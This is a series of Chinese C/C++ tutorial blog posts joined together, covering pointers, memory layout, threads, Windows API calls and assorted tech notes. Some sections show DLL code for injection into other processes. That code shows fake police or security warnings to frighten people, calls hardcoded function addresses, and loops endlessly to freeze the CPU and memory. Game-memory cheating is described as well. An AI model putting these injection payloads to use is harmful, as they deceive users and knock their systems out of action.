uni1.num); uni1.sh = 3; printf("\n%d", uni1.num); union un *p = &uni1; p->num; p->sh;//时刻只有一个变量存在 getchar(); } enum MyEnum { 小兵=0 , 班长 =1 ,排长=2, 连长 ,师长 , 军长, 司令=10 }; void main13() { enum MyEnum myenum1 = 司令; printf("%d", myenum1); enum MyEnum *p = &myenum1; printf("\n%d", *p); getchar(); } #define p(x) (x)*(x) //自己实现函数,替换 1+3 *1+3 #define getname(x) #x // main "main" void main() { //传递函数名 main ,"main" printf("%p", main); printf("\n%d", p(1+3)); printf("\n%s", getname(main)); getchar(); } 指针数组 #include<stdio.h> #include<stdlib.h> #include<time.h> #include <Windows.h> void main1() { time_t ts; unsigned int randdata = time(&ts);//获取当前时间转换为一个无符号数据 srand(randdata);//随机数种子 int a[10] = { 0 }; int *p[10]; for (int i = 0; i < 10; i++) { p[i] = &a[i];//指针对应了数组每一个元素的地址 } while (1) { for (int i = 0; i < 10; i++) { a[i] = rand() % 1000;//取随机数 printf("\n%d", a[i]);//打印数组每一个元素 } Sleep(5000); printf("\n"); for (int i = 0; i < 10; i++) { if (*p[i] <= 500) { *p[i] += 100;//加血 } printf("\n%d", *p[i]); } Sleep(5000); } } void main2() { char * p[] = { "calc", "notepad", "mspaint", "write", "tasklist & pause" }; int n = sizeof(p) / sizeof(char *); for (int i = 0; i < n; i++) { printf("\n%s",p[i]); system(p[i]); } } 函数指针/函数指针数组 #include<stdio.h> #include<stdlib.h> static int jia(int a, int b) //限定只有本文件使用 { return a + b; } static int jian(int a, int b) { return a - b; } static int cheng(int a, int b) { return a * b; } static int chu(int a, int b) { return a / b; } void main3() { int (*p)(int a, int b)=jia;//存储函数指针的地址 //jia = jia;函数名是常量指针 printf("%d", p(1, 2)); p = jian; printf("\n%d", p(1, 2)); getchar(); } void main4() { //int* a; //int* a[10]; int(*p[4])(int a, int b) = { jia, jian, cheng, chu }; for (int i = 0; i < 4; i++) { printf("\n%d", p[i](10, 2)); } getchar(); } 二级指针 #include<stdio.h> #include<stdlib.h> //改变一个变量,需要变量的地址,需要指针变量的地址 //double **p1 = &p;二级指针存储一级指针的地址 double db = 3.5; double bd = 4.5; void change(double *p)//新建一个指针存储你传递的值 { p = &bd; printf("\nchange=%p", &p); printf("\nchange=%f", *p); } void changep(double **pp) { *pp = &bd;//改变指针 } void main1() { double *p = &db; printf("\nmain=%p", &p); printf("\n%f", *p); //p = &bd; changep (&p); printf("\n%f", *p); getchar(); } #include<stdio.h> #include<stdlib.h> void run(char *p[5]) //数组没有副本机制,传递是地址 { printf("\nrun=%d", sizeof(p));//4个字节 for (char **pp = p; pp < p + 5; pp++) { system(*pp); } } void run1(char **px) //数组没有副本机制,传递是地址 { printf("\nrun=%d", sizeof(px));//4个字节 for (char **pp = px; pp < px + 5; pp++) { system(*pp); } } void main() { char *p[5] = { "calc", "notepad", "mspaint", "tasklist &pause", "write" }; printf("\nmain=%d", sizeof(p)); run1(p); getchar(); } void mainx() { char *p[5] = { "calc", "notepad", "mspaint", "tasklist &pause", "write" }; //for (int i = 0; i < 5; i++) //{ // system(p[i]);//下标的方式 //} //for (int i = 0; i < 5; i++) //{ // system(*(p + i));下标 //} //轮询一个数组,需要一个指针,轮询一个指针数组,需要一个二级指针 for (char **pp = p; pp < p + 5; pp++) { system(*pp); } } |=========== 吴英强CSDN博客专栏==============| |== C/C++学院 专栏文章的内容(不定期更新)===| |== linux驱动开发 探索linux底层的奥秘 ==========| |== Java基础学习篇 掌握java语言的基础知识=====| |====== 每天进步一点点,健康快乐每一天 ========|
1.gps 度换算成度分秒 度(DDD):E 108.90593度 N 34.21630度 如何将度(DDD):: 108.90593度换算成度分秒(DMS)东经E 108度54分22.2秒? 转换方法是将108.90593整数位不变取108(度),用0.90593*60=54.3558,取整数位54(分),0.3558*60=21.348再取整数位21(秒),故转化为108度54分21秒. 同样将度分秒(DMS):东经E 108度54分22.2秒 换算成度(DDD)的方法如下:108度54分22.2秒=108+(54/60)+(22.2/3600)=108.90616度 来源: http://blog.csdn.net/b_h_l/article/details/8657040 2.c#调用c++封装的dll http://blog.csdn.net/waldmer/article/details/45844107 3.openfire连接sqlserver数据库 http://www.cnblogs.com/jying/p/3644992.html 4.实现一个socket库,供windows/Linux调用 http://blog.csdn.net/waldmer/article/details/46426081 5.html引入js代码 <html> <head> <title>html中引入js代码</title> </head> <body> <H1 align="center">hello!test js!</H1> <script language="javascript"> var a = 30;//定义变量 var b = 50; if (a>b) { alert("a>b"); } else { alert("a<=b"); } </script> </body> </html> 6.定制android手机自带的开机动画 前提:手机需要root,所使用的工具是,一键root大师。 一、安装Root Explorer的软件 re335.apk 在手机上进行操作: 将/system/meida 的权限设置为可写 将原来的开机动画 bootanimation.zip重命名或删除 二、cmd命令行操作: 制作自己想要的开机动画文件,打包为bootanimation.zip 在电脑上操作: adb devices adb push bootanimation.zip /system/media http://blog.csdn.net/waldmer/article/details/46813015 7.设置网页内容不能被复制 在<body>中加入以下代码:<body oncontextmenu="return false" onselectstart="return false"> <html> <head> <title>html中引入js代码</title> </head> <body oncontextmenu="return false" onselectstart="return false"> <H1 align="center">hello!test js!</H1> <script language="javascript"> var a = 30;//定义变量 var b = 50; if (a>b) { alert("a>b"); } else { alert("a<=b"); } </script> </body> </html> 8.Excel表格公式批量计算 想要用一个固定的数字,减去某一列数字,得到最终结果。 Fx位置输入公式后,回车即可算出98的结果。 然后将鼠标停在合适的位置,进行下拉,即可完成所有操作。 9.java实现的求和算法 C语言实现求和校验是非常easy的事情, 但是java中byte表示的范围为;-128~~127。 在一些计算上面,造成一些不方便。但是在内存中存储的比特位都应该是相同的。 public class CheckSum{ public static int checkSumFunc(byte[] Array, int len){ int sum = 0; for(int i=0; i < Array.length; i++) { sum += Array[i]; } sum &= 0xFF; return sum; } public static void main(String[] args){ byte[] checkBuf = {0x39, 0x62, 0x38, 0x61, 0x39, 0x62, 0x37, 0x63, 0x39, 0x62}; int ret = checkSumFunc(checkBuf, checkBuf.length); System.out.println(ret); } } 10.STM32工程的搭建与使用 Bsp文件,作为最基本的驱动,根据datasheet进行配置。 --->usart.c 因为没有堆栈的概念,函数之间传递参数,采用全局变量的形式。
【送给在路上的程序员】 对于一个开发者而言,能够胜任系统中任意一个模块的开发是其核心价值的体现。 对于一个架构师而言,掌握各种语言的优势并可以运用到系统中,由此简化系统的开发,是其架构生涯的第一步。 对于一个开发团队而言,能在短期内开发出用户满意的软件系统是起核心竞争力的体现。 每一个程序员都不能固步自封,要多接触新的行业,新的技术领域,突破自我。 内存补码分析 #include<stdio.h> #include<stdlib.h> void main3() { //printf不会进行数据类型转换 printf("%d", (int)10.3);//printf不管你是什么类型,按照%d ,%f解析数据 printf("\n%f", (float)10); getchar(); } void main4() { int num = 100; printf("%p", &num);//不同的解释方式就有不同的解释结果 getchar(); } void main5() { char ch = 1,ch1='1';//字符与编号的区别 printf("%d,%d", ch,ch1); getchar(); } void main6() { //解析的时候,与数据的长度有关系 unsigned short num = 65535+1; printf("刘宁波有%d元", num); // 99 // 100 getchar(); } void main7() { //补码,计算机存储数据的方式 short num = -1; printf("%d", num); printf("\n%u", num);//%u 0-正整数 getchar(); } 补码原码实战 #include<stdio.h> #include<stdlib.h> #include<limits.h> void main10() { int x = 1; int y = -1;//补码 printf("x=%p,y=%p", &x, &y); system("pause"); } void main123() { //int unsigned int 4个字节32位 //有符号,0代表正数,1代表负数 //0111 1111 1111 1111 1111 1111 1111 1111 //1111 1111 1111 1111 1111 1111 1111 1111//无符号,正数,全部都是数据 printf("%d,%d", INT_MAX, INT_MIN);//%d只能显示INT_MIN->INT_MAX printf("\n%d,%d", INT_MAX+1, INT_MIN-1); printf("\n%u,%u", UINT_MAX, 0); printf("\n%u,%u", UINT_MAX+1, 0-1);//%u 0->UINT_MAX system("pause"); } void main1234() { int x = 4294967295; int y = -1; //1111 1111 1111 1111 1111 1111 1111 1111内存的存储方式 //无符号,没有符号位,全部都是数据 4294967295 //0000 0000 0000 0000 0000 0000 0000 0001 1原码 //1000 0000 0000 0000 0000 0000 0000 0001 -1的原码 //1111 1111 1111 1111 1111 1111 1111 1110 -1的反码 //1111 1111 1111 1111 1111 1111 1111 1111 -1的补码 printf("%d,%u", x,x); printf("\n%d,%u", y, y); getchar(); } void main() { unsigned int num = -1;// //1111 1111 1111 1111 1111 1111 1111 1111内存的存储方式 printf("%d,%u", num, num); system("pause"); } 打印整数二进制数据 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> void main1() { int num; scanf("%d", &num); printf("num=%d,&num=%p\n", num,&num); int data = 1 << 31;//构建一个相与的数据 for (int i = 1; i <= 32; i++) { int temp = num&data;//求出首位相与 if (temp == 0) { putchar('0'); } else { putchar('1'); } num <<= 1; if (i % 4 == 0) { printf(" "); } } system("pause"); } void main() { int num; scanf("%d", &num); printf("num=%d,&num=%p\n", num, &num); int data = 1 << 31;//构建一个相与的数据 if (num < 0) { num = ~num + 1;//求原码 num = num | data;//设置符号位 } for (int i = 1; i <= 32; i++) { int temp = num&data;//求出首位相与 if (temp == 0) { putchar('0'); } else { putchar('1'); } num <<= 1; if (i % 4 == 0) { printf(" "); } } system("pause"); } 静态库说明 1.属性添加 xxx.lib 链接 或者代码方式实现 #pragma comment(lib, "detours.lib") 2.并且把xxx.lib 放到源码目录下 |=========== 吴英强CSDN博客专栏==============| |== C/C++学院 专栏文章的内容(不定期更新)===| |== linux驱动开发 探索linux底层的奥秘 ==========| |== Java基础学习篇 掌握java语言的基础知识=====| |====== 每天进步一点点,健康快乐每一天 ========|
【送给在路上的程序员】 对于一个开发者而言,能够胜任系统中任意一个模块的开发是其核心价值的体现。 对于一个架构师而言,掌握各种语言的优势并可以运用到系统中,由此简化系统的开发,是其架构生涯的第一步。 对于一个开发团队而言,能在短期内开发出用户满意的软件系统是起核心竞争力的体现。 每一个程序员都不能固步自封,要多接触新的行业,新的技术领域,突破自我。 堆栈简介、内存完成篇 Const是一个伪常量 #include<stdio.h> #include<stdlib.h> #define N 10 //CPU产生,10 . 1010 //const是伪常量,限定编译器尽量不直接修改 void main() { //int a=10; int *p=&a; const int num = 10;//避免直接赋值的修改,不可以避免间接赋值的修改 //num=1; const int *p1 = #//创建指针指向const int int *p2 = (int *)p1; *p2 = 100; printf("%d", num); getchar(); } void main1() { //&N; //N = 3; //num = 3; int data[N]; //int data[num]; } 代码区是只读的 函数名称就是函数的地址 #include<stdio.h> #include<stdlib.h> void gogogo() { printf("AAAAA\n\n\n\n"); } void main1() { printf("%p", gogogo);//函数名存放函数的地址 //gogogo = gogogo;代码区只能读不可写 //void gogogo(); //void ()(); gogogo();//直接调用 void(*p)()=gogogo; p();//间接调用 getchar(); } void main() { char *p = "ABCDEFG";//p存储常量字符串的地址 printf("%d,%d\n", sizeof(p), sizeof("ABCDEFG"));//4 ,8 printf("\n%p", &p);//查看指针变量的地址 printf("\n%p", p);//查看字符串的地址 //*p = 'a';//代码区只能读,常量字符串在代码区 getchar(); } 堆的空间,由程序员控制 #include<stdio.h> #include<stdlib.h> #include<Windows.h> //内存分配,malloc calloc,realloc void test() { int *p = (int *)malloc(sizeof(int)* 10);//指针除了地址,更重要的是指针的类型, printf("%p\n", p);//打印地址 int num = 0; for (int *px = p; px < p + 10; px++) { *px = num;//对内容赋值 printf("%p,%d\n", px, *px);//打印地址还有数据 num++; } } void mainA() { test(); test();//调用了2次函数,而内存空间是不一样的地址 system("pause"); } void mainB() { unsigned long long ll = 1024 * 1024 * 1024;//ll 2^64-1 鲸吞 ll *= 1; void *p = malloc(ll); if (p == NULL) { printf("内存分配失败"); } else { printf("成功"); } system("pause"); } void main() { while (1)//蚕食 { //内存一定要及时释放 void *p = malloc(1024*1024*100);//p, 栈 *(p+3)地址指向的内容 Sleep(3000); } } 堆栈的生长方向 栈是连续的,向上增长,堆是链接的,向下增长。 通过打印的地址,可以进行验证。 #include<stdio.h> #include<stdlib.h> void main() { void *p1 = malloc(10); //p1,p2栈上 void *p2 = malloc(20); printf("%p,%p", &p1, &p2);//地址在栈上 printf("\n%p,%p", p1, p2);//堆区 getchar(); } 函数指针外挂 外挂原理,使用dllinject工具,给进程打针。后期可以自己实现这个工具。 打开任务管理器的时候,可以直接跳转跟踪到进程。利用打针的技术,可以实现移花接木的手段,比如,弹出一个对话,360警察哥哥,淘宝网银风险等。 #include<stdio.h> #include<stdlib.h> #include<Windows.h> int num = 100; void add(int x); void add(int x) { num += x;//加血 } void msg() { MessageBoxA(0, "1", "2", 0); } void main() { printf("add=%p,msg=%p\n", add,msg); while (1) { printf("%d\n", num); Sleep(5000); } } #include<stdio.h> #include<stdlib.h> //导出函数,可以加载的时候调用 _declspec(dllexport) void go() { //函数指针类型必须一致,否则无法调用成功 //int ** 变量名挖掉就是类型 //间接调用的方式调用函数,根据地址来调用 void(*p1)(int a) = (void(*)(int a)) 0x2c10eb; p1(10); void(*p2)() = (void(*)())0x2c111d; p2(); //这里加上自己的猥琐代码,可以移花接木,唬住门外汉。 } 寄存器变量 C和汇编的混合编程 #include<stdio.h> #include<stdlib.h> void main1() { int a = 1; int b = a + 1; //a + 1 = 2; b = a + 2; b = a + 3; getchar(); } void main2() { //register int a = 3; //&a;//地址是内存的地址,CPU没有地址 int a = 10; int b;//b=a+5; _asm { mov eax, a add eax, 5 mov b,eax } printf("%d", b); getchar(); } 利用栈变量,卡死cpu,给进程打针实现恶搞。 #include<stdio.h> #include<stdlib.h> #include<Windows.h> //导出函数,可以加载的时候调用 _declspec(dllexport) void go() { MessageBoxA(0, "你的360云盘存放的岛国大片被网络警察所监督", "请自首", 0); while (1) { double db[1024 * 100]; } } 栈的大小 #include<stdio.h> #include<stdlib.h> void main2x () { int a[1024*300];//1M=1024*1024 栈的大小编译器决定 //无法使用较大内存, //用完了就立刻回收 getchar(); } void main() { while (1) { //注入进程,卡死CPU,卡死内存 double db[1024 * 200]; void *p = malloc(1024 * 1024); } } 静态区、内存完成篇 函数参数的入栈顺序,从右向左 #include<stdio.h> #include<stdlib.h> void main() { int a=4; printf("%d,%d", a, a++);//参数压栈的顺序从右向左 //5, 4 getchar(); } #include<stdio.h> #include<stdlib.h> void main() { int a=4; printf("%d,%d", a, ++a);//参数压栈的顺序从右向左 //5, 5 getchar(); } 全局static变量,//限定只有本C文件访问 局部static变量,只会初始化一次。 #include<stdio.h> void main() { for (int i = 0; i < 10; i++) { int a = 10;//用完就回收 static int b = 10;//与程序共存亡,静态局部变量 ,编译的时候就初始化了,只会初始化一次 a += 1; b += 1; printf("%d,%d\n", a, b); } getchar(); } void main2() { for (int i = 1; i <= 100; i++) { static int res = 0;//只会初始化一次 res += i; printf("%d\n", res); } //res = 3;//程序污染 getchar(); } 变量的作用域 #include<stdio.h> #include<stdlib.h> //int a = 10; //int a = 10;//全局变量,声明+赋值=定义 int a;//声明 定义只能有一个,声明可以多个 int a; int a = 10;//定义 void main() { /* int a = 10;重定义 int a = 10;*/ /*int a; 对于局部变量来说,无论是否赋值都是定义 int a;*/ } 静态区与栈区,静态区与程序共存亡,静态区分配优先于main函数 栈区,反复回收,反复释放 静态区与全局变量 #include<stdio.h> #include<stdlib.h> int num = 10;//静态区 //静态区与栈区,静态区与程序共存亡,静态区分配优先于main函数 //栈区,反复回收,反复释放 void test() { int data = 3;//栈区 printf("%p,%p\n", &num, &data); num = 101; data = 34; printf("\n"); } void main() { test(); printf("\n"); test(); printf("\n"); system("pause"); } 全局变量 #include<stdio.h> #include<stdlib.h> int a; int a; int a;//没有定义会把最后一个声明当作定义初始化为0 //int a = 10; void main() { printf("%d", a);//0 system("pause"); } 多线程 单线程的局限 总共5碗饭,一个人一次一碗一碗吃。 5个人每个人吃一碗。 一个女人10个月生一个孩子,10个女人一个月却不能生一个孩子。多线程的局限 #include<Windows.h> #include<process.h>//进程 #include<stdlib.h> void run(void *p) { int *px = (int *)p;//指针转换 //printf("线程%d启动", *px); char str[100] = {0};//字符数组 sprintf(str, "线程%d启动", *px); MessageBoxA(0,str, "多线程", 0); } void main1() { for (int i = 0; i < 5; i++) { //run(NULL); _beginthread(run, 0, &i); Sleep(10); } system("pause"); } 阻塞模式与并行模式 #define _CRT_SECURE_NO_WARNINGS//关闭安全检查 #include<stdio.h> #include<stdlib.h> #include<Windows.h>//_beginthread();_endthread(); #include<process.h>//WaitForSingleObject void gogogo(void *p) { int *px = (int*)p;//指针转换 //return ; //线程执行完成以后返回 int i = 0; while (1) { if (i > 5) { printf("%d %d\n", i,*px); _endthread();//结束线程 } Sleep(1000); i++; } } void time(void *p) { int i = 0; while (1) { char str[100] = { 0 }; sprintf(str, "title 当前时间第%d秒", i); system(str); i++; Sleep(1000); } } void main() { //time(NULL); _beginthread(time, 0, NULL); for (int i = 0; i < 5; i++) { //gogogo(NULL); HANDLE hd = _beginthread(gogogo, 0, &i);//hd是编号 //WaitForSingleObject(hd, INFINITE);//等待,阻塞模式 ,没有wait并行模式 Sleep(1000); } getchar(); } 多线程实现数据的查找 #include<stdio.h> #include<stdlib.h> #include<process.h> #include<Windows.h> int flag = 0;//意味着没有找到 int * addrfind = NULL;//查找到的数据所在的地址 struct MyStruct { int *pfindstart;//要查找的首地址 int length;//限定长度,从地址开始 int num;//要查找的数据 int bh;//编号 int *pflag;//传递flag的地址,修改flag,访问 int **addr;//传递一个指针的地址, }; void find(void *p) { struct MyStruct *pstruct = (struct MyStruct *)p;//指针类型转换 //内存的遍历,从地址开始累加100个元素的大小,遍历所有元素 for (int *px = pstruct->pfindstart; px < pstruct->pfindstart + 100; px++) { Sleep(100);//0.1s 查找一次 if (*(pstruct->pflag) != 0) { printf("\n属下%d无能,其他线程已经找到", pstruct->bh); return; } if (*px == pstruct->num)//判断是否相等 { printf("\n第%d个线程找到%p,%d",pstruct->bh, px,*px);//查找 *(pstruct->pflag) = 1;//改变标识,代表找到 *(pstruct->addr) = px; return; } } printf("\n没有找到第%d个线程", pstruct->bh); return; } void main() { int a[1000];//要查找783;数组 for (int i = 0; i < 1000; i++) { a[i] = i;//数组初始化 } struct MyStruct threaddata[10];//创建结构体数组,处理不同的线程, for (int i = 0; i < 10; i++)//创建10个线程并行查找 { //a , a+100 a+200 a+900 threaddata[i].pfindstart = a + i * 100;//计算数组的地址 threaddata[i].length = 100;//长度 threaddata[i].bh = i;//编号 threaddata[i].num = 783;//要查找的数据 threaddata[i].pflag = &flag;//标识 threaddata[i].addr = &addrfind;//存储了变量的地址 printf("\n%d\n", threaddata[i].bh);//调试输出 _beginthread(find, 0, &threaddata[i]);//线程干活 //Sleep(30);//避免同时访问同一个变量,引起访问冲突 } Sleep(30000);//避免同时访问同一个变量,引起访问冲突 system("pause"); printf("\n\n%d,%p\n\n", *addrfind, addrfind);//打印地址,还有数据 system("pause"); } |=========== 吴英强CSDN博客专栏==============| |== C/C++学院 专栏文章的内容(不定期更新)===| |== linux驱动开发 探索linux底层的奥秘 ==========| |== Java基础学习篇 掌握java语言的基础知识=====| |====== 每天进步一点点,健康快乐每一天 ========|
【送给在路上的程序员】 对于一个开发者而言,能够胜任系统中任意一个模块的开发是其核心价值的体现。 对于一个架构师而言,掌握各种语言的优势并可以运用到系统中,由此简化系统的开发,是其架构生涯的第一步。 对于一个开发团队而言,能在短期内开发出用户满意的软件系统是起核心竞争力的体现。 每一个程序员都不能固步自封,要多接触新的行业,新的技术领域,突破自我。 32位与64位 地址与内存的关系 4G = 4*1024M = 4*1024*1024k = 4*1024*1024*1024 Byte字节 = 2^32 32位,指针就是4个字节 #include <stdio.h> void main() { int num = 10; printf("%p\n", &num); int *p = # printf("p=%d\n", sizeof(p)); getchar(); } 调戏窗口程序 使用黑客工具, spy,找到//FindWindowA参数:窗口类名,标题 #include <stdio.h> #include<stdlib.h> #include<Windows.h> /* 窗口隐藏的时候, 可以从任务管理器中,看到此进程已经运行,使用cmd命令中的命令,把进程结束掉 C:\Users\wuyingqiang>taskkill /f /im notepad.exe 成功: 已终止进程 "notepad.exe",其 PID 为 7556。 成功: 已终止进程 "notepad.exe",其 PID 为 1384。 成功: 已终止进程 "notepad.exe",其 PID 为 3572。 成功: 已终止进程 "notepad.exe",其 PID 为 5272。 成功: 已终止进程 "notepad.exe",其 PID 为 6212。 */ void openCalc() { //int i=0; //for(i; i<5; i++) //{ // //system("calc"); // ShellExecuteA(0, "open", "calc", 0, 0, 1); // //第一个参数是代表系统弹出 // //第二个参数是代表执行 // //第三个参数执行命令行 // //第四个,第五个默认0, // //第六个参数,0代表窗口隐藏,1代表正常,3最大化,6最小化 // Sleep(2000); //} ShellExecuteA(0, "open", "calc", 0, 0, 1); Sleep(2000); } void closeCalc() { system("taskkill /f /im calc.exe");//结束进程 } void moveCalc() { int i=0; HWND win;//指针,返回窗口的编号 //FindWindowA参数:窗口类名,标题 win = FindWindowA("CalcFrame", "计算器");//寻找计算器 if (win == NULL) //空指针避免野指针 { printf("计算器玩失踪"); } else { printf("计算器找到"); } //控制隐藏域显示 //while (1) //{ // ShowWindow(win, SW_HIDE);//隐藏; // Sleep(2000); // ShowWindow(win, SW_SHOW);//显示; // Sleep(2000); //} //for ( i = 0; i <= 1500; i += 10) //{ // SetWindowPos(win, NULL, i, 0, 300, 400, 1);//移动窗口 // Sleep(30); //} //for对角线移动 for ( i = 0; i < 1500; i++) { SetWindowPos(win, NULL, i, i*9/16, 300, 400, 1);//移动窗口 Sleep(50); } } void main() { openCalc(); moveCalc(); Sleep(5000); closeCalc(); system("pause"); } 数据分离算法 水仙花数是指一个 n 位数 ( n≥3 ),它的每个位上的数字的 n 次幂之和等于它本身。(例如:1^3 + 5^3+ 3^3 = 153) #include <stdio.h> #include <stdlib.h> void main() { int i; for ( i = 100; i <= 999; i++)//遍历所有数据 { int ge = i % 10;//取出个位 int shi = i / 10 % 10;//取出10位 int bai = i / 10/10;//取出百位 //筛选 if (ge*ge*ge + shi*shi*shi + bai*bai*bai == i)//判断条件 { printf("%d^3+%d^3+%d^3=%d\n", ge, shi, bai, i);//打印 } } printf("\n"); getchar(); } 内存检索 植物大战僵尸游戏中,自动增加阳光。找到内存地址,编写dll,使用DllInject.exe工具进行注射。 二分查找法 保证查找之前,数据是排序的。 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> void ShowArray(int a[], int n) { for (int i = 0; i < n; i++) { printf("%d,", a[i]); } printf("\n"); } void PaiXu(int a[], int n) { for (int i = 0; i < n - 1; i++) { for (int j = 0; j < n - 1 - i; j++) { if (a[j]>a[j+1]) { int temp = a[j]; a[j] = a[j + 1]; a[j + 1] = temp; } } } } //num为所要查找的数据,返回数组下标 int SearchFor(int a[], int n, int num) { for (int tou = 0, wei = n - 1, zhong = (tou + wei) / 2; tou <= wei; zhong=(tou+wei)/2) { printf("\n开始查找%d,%d,%d", tou, wei, zhong); if (a[zhong] == num) { return zhong; } else if (a[zhong]>num) { wei = zhong - 1; } else { tou = zhong + 1; } } } int SearchWhile(int a[], int n, int num) { int tou = 0; int wei = n - 1; int zhong = (tou + wei) / 2; while (tou <= wei) { printf("\n开始查找%d,%d,%d", tou, wei, zhong); if (a[zhong] == num) { return zhong; } else if (a[zhong]>num) { wei = zhong - 1; zhong = (tou + wei) / 2; } else { tou = zhong + 1; zhong = (tou + wei) / 2; } } } void main() { int a[50] = { 0 }; time_t ts; srand((unsigned int)time(&ts));//随机数种子 for (int i = 0; i < 50; i++) { a[i] = rand() % 100; //printf("%d,", a[i]); } PaiXu(a, 50); ShowArray(a, 50); int num; printf("plesae input your find num:"); scanf("%d", &num); //扫描数据接收输入 //int ret = SearchFor(a, 50, num); int ret = SearchWhile(a, 50, num); if (ret == -1) { printf("not find\n"); } else { printf("find [%d]\n", a[ret]); } system("pause"); } myVC 使用mfc打造自己的ide, 找到vs和codeblocks的路径中的bat批处理文件,通过单击按钮,使用system指令去调用这个bat批处理文件。 如D:\Program Files\Microsoft Visual Studio 11.0\Common7\Tools\ VsDevCmd.bat |=========== 吴英强CSDN博客专栏==============| |== C/C++学院 专栏文章的内容(不定期更新)===| |== linux驱动开发 探索linux底层的奥秘 ==========| |== Java基础学习篇 掌握java语言的基础知识=====| |====== 每天进步一点点,健康快乐每一天 ========|
javascript 单例设计模式: 单例模式确保某个类只有一个势力,而且自行实例化并向整个系统提供这个实例。如:cocos2dx中的导演类。【例子】我有6哥漂亮的老婆,他们的老公都是我,我就是我们家里的老公signleton,她们只要说道“老公”,都是指的同一个人,那就是我。 代理设计模式: 代理模式的定义:为其他对象提供一种代理以控制对这个对象的访问。在某些情况下,一个对象不适合或者不能直接引用另一个对象,而代理对象可以在客户端和目标对象之间起到中介的作用。 【例子】跟MM在网上聊天,一开头总是“hi, 你好”,“你从哪里来呀?”,“你多大了?”,“身高多少?是不是富二代?”,真心很烦人,写个程序作为我的proxy代理吧。凡是接收到这些话都设置好了自己的回答,接收到其他的话时在通知我回答,怎么样,酷不酷?? #include <Windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #pragma warning(disable:4996)//屏蔽vs 4996这个错误信息 typedef struct _PC_Client { void(*request)(); }PC_Client; void ftp_request() { printf("request from ftp!\n"); } void http_request() { printf("request from http!\n"); } void smtp_request() { printf("request from smtp!\n"); } typedef struct _Proxy { PC_Client* pClient; }Proxy; void process(Proxy* pProxy) { // assert(NULL != pProxy); pProxy->pClient->request(); } void main() { Proxy p1 ; p1.pClient = (PC_Client *)malloc(sizeof(PC_Client)); p1.pClient->request = smtp_request; process(&p1); free(p1.pClient); Proxy p2; p2.pClient = (PC_Client *)malloc(sizeof(PC_Client)); p2.pClient->request = http_request; process(&p2); free(p1.pClient); getchar(); } openfire Openfire 采用Java开发,开源的实时协作(RTC)服务器基于XMPP(Jabber)协议。 Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器可支持上万并发用户。 由于是采用开放的XMPP协议,您可以使用各种支持XMPP协议的IM客户端软件登陆服务,spark im通讯客户端软件。xmpp XMPP是一种基于标准通用标记语言的子集XML的协议,它继承了在XML环境中灵活的发展性。因此,基于XMPP的应用具有超强的可扩展性。经过扩展 以后的XMPP可以通过发送扩展的信息来处理用户的需求,以及在XMPP的顶端建立如内容发布系统和基于地址的服务等应用程序。而且,XMPP包含了 针对服务器端的软件协议,使之能与另一个进行通话,这使得开发者更容易建立客户应用程序或给一个配好系统添加功能。 传输的是与即时通讯相关的指令。在以前这些命令要么用2进制的形式发送(比如QQ),要么用纯文本指令加空格加参数加换行符的方式发送(比如MSN)。而XMPP传输的即时通讯指令的逻辑与以往相仿,只是协议的形式变成了XML格式的纯文本。 ffmpeg c语言开发的多媒体框架 FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。它包含了非常先进的音频/视频编解码库libavcodec,为了保证高可移植性和编解码质量,libavcodec里很多codec都是从头开发的。 FFmpeg在Linux平台下开发,但它同样也可以在其它操作系统环境中编译运行,包括Windows、Mac OS X等。 多媒体视频处理工具FFmpeg有非常强大的功能包括视频采集功能、视频格式转换、视频抓图、给视频加水印等。android 万能播放器 vitamio Vitamio是一款 Android 与 iOS 平台上的全能多媒体开发框架,全面支持硬件解码与 GPU 渲染。 Vitamio能够流畅播放720P甚至1080P高清MKV,FLV,MP4,MOV,TS,RMVB等常见格式的视频,还可以在Android 与 iOS 上跨平台支持 MMS, RTSP, RTMP, HLS(m3u8) 等常见的多种视频流媒体协议,包括点播与直播。tomcat服务器 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat 部分是Apache 服务器的扩展,但它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。 JDBC Java Data Base Connectivity;java数据库连接,由一些接口和类构成的api j2se的一部分,由java.sql和javax.sql包组成。 sun设计接口, db公司提供各种驱动,实现sun的接口。 连接数据库的步骤: 注册驱动(只做一次) 建立连接(connection) 创建执行sql的语句(statement) 执行语句 处理执行结果(resultset) 释放资源
1.全栈工程师能干什么? 全局性思维,现代项目的开发,需要掌握多种技术。互联网项目,需要用到: 产品设计:ai, CorelDRAW 界面设计:ui ps 前端开发移动优先: ios app(oc/c++) android app(java/c++) Hrbrid app(混合式移动应用) 移动web(html5/javascript) web前端语言:html5, javascript, css3 操作系统:unix, linux web服务器:Nginx, Apache 缓存服务器:Memcached, Redis 后端业务服务器:python ,c/c++, php, java, node.js, Erlang 数据库: mysql, mongo DB 文件系统:FastDFS(taobao), GFS(google) 微信公众号:微信交互, 微信支付 restful api设计 一个项目是一个非常复杂的构成,我们需要一个人来掌控全局,他不需要是各种技术的自身专家,但他需要熟悉到各种技术。对于一个团队企业来说,有一个全局性思维的人非常之重要。 2.如何成为全栈工程师? 语言基本功 C:严谨的编程逻辑,知其然并知其所以然。 C++:面向对象编程思想,高性能,高稳定性,会当凌绝顶,一览众山小。 Python:万能胶水,什么都能干,什么都能粘合进来,语法简洁,易学。 JavaScript:html中默认的编程语言,Hybrid混合编程的排头兵,JQuery,AngularJS, Ionic。 SQL:Mysql, mongo DB Html5:各种标签,Phonegap,Cordova。 Css3:BootStrap, MUI。 算法基本功 数据结构:把具体问题抽象成类或结构体。 排序算法:冒泡,插入,归并,快速,哈希。 链表:增删改查,逆序,树与链表的相互转换。 二叉树:搜索二叉树,平衡二叉树,红黑树。 图:深度优先搜索,广度优先搜索,海量数据挖掘。 操作系统Linux基本功 基本命令操作,开发环境vim/gcc/gdb/makefile, 文件io, 文件系统, 